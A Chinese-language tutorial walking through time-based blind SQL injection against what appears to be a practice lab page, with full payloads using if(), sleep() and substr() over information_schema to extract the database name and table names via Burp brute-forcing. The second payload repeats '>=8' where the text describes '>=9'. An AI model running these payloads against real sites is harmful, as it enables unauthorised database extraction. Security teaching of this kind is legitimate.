时间盲注:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
1)考虑使用时间盲注
访问URL:http://www.tianchi.com/web/time.php?id=1返回yes;
访问URL:http://www.tianchi.com/web/time.php?id=1'返回no;
这让我们想到了之前的boolean注入,遇到这种情况还可以使用另一种注入方法-时间盲注。
2)获取数据库库名
(1)判断当前数据库库名的长度
如果数据库库名长度大于等于8,则mysql查询休眠5秒,否则查询1。语句:if(length(database())>=8,sleep(5),1)
URL:http://www.tianchi.com/web/time.php?id=1' and if(length(database())>=8,sleep(5),1)--+
可以看到页面响应时间是6013毫秒,即6.013秒,这说明了页面执行了sleep(5),也就是length(database())>=8成立。使用Burp的Repeater模块如下所示:
URL:http://www.tianchi.com/web/time.php?id=1' and if(length(database())>=8,sleep(5),1)--+
可以看到页面响应时间是1026毫秒,即1.026秒,这说明页面没有执行sleep(5),而是执行了select 1,也就是length(database())>=9是错误的。那么可以确定,当前数据库库名的长度是8。使用Burp的Repeater模块如下所示:
(2)获取当前数据库库名
由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。和boolean注入类似,使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。
语句:if(substr(database(),1,1)='a',sleep(5),1)
URL:http://www.tianchi.com/web/time.php?id=1' and if(substr(database(),1,1)='a',sleep(5),1)--+
这里同样使用Burp爆破:
可以看到,当前数据库库名的第一个字符是s,同理可以得到库名是:security。
3)获取数据库表名
语句:if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)
URL:http://www.tianchi.com/web/time.php?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)--+
这里也使用Burp爆破:
可以看到security数据库的第一个表名的第一个字符是e。同理,得到所有字符,最后得到security数据库的第一个表名是:emails。
修改limit 0,1为limit 1,1,可以得到第二个表名。最后得到所有表名:
第1个表名是:emails
第2个表名是:referers
第3个表名是:uagents
第4个表名是:users
依次类推,就可以得到完整的数据库库名,表名,字段名和具体数据。
访问该页面,页面只显示yes或者no,和boolean注入代码不同的是,这里只过滤了union,没有过滤sleep这些危险字符,本次盲注才可以成功。